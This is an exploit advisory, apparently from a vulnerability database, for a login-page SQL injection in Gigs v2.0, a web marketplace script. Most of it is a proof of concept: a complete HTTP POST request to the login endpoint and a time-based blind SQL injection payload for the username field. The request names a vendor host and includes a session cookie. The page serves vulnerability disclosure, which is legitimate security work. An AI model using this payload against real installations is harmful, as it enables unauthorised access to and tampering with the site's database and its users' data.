Gigs 2.0 SQL Injection

2018.05.25
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Gigs v2.0 - Login Page SQL Injection # Dork: N/A # Date: 23.05.2018 # Exploit Author: Azkan Mustafa AkkuA (AkkuS) # Vendor Homepage: https://codecanyon.net/item/gigs-services-marketplace/20716059 # Version: v2.0 # Category: Webapps # Tested on: Kali linux # Description : PHP Dashboards is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. ==================================================== # PoC : SQLi : https://test.com/thegigs/user/dashboard/is_valid_login POST /thegigs/user/dashboard/is_valid_login HTTP/1.1 Host: dreamguys.co.in User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/javascript Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://test.com/thegigs/ Content-Length: 27 Cookie: ci_session=33p2j7q2a35qt5vrjt1r0985pt2i0v7g Connection: keep-alive username=demo&password=1234 Vulnerable Payload : Parameter: username (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: username=demo' AND SLEEP(5) AND 'NVll'='NVll&password=1234 ====================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top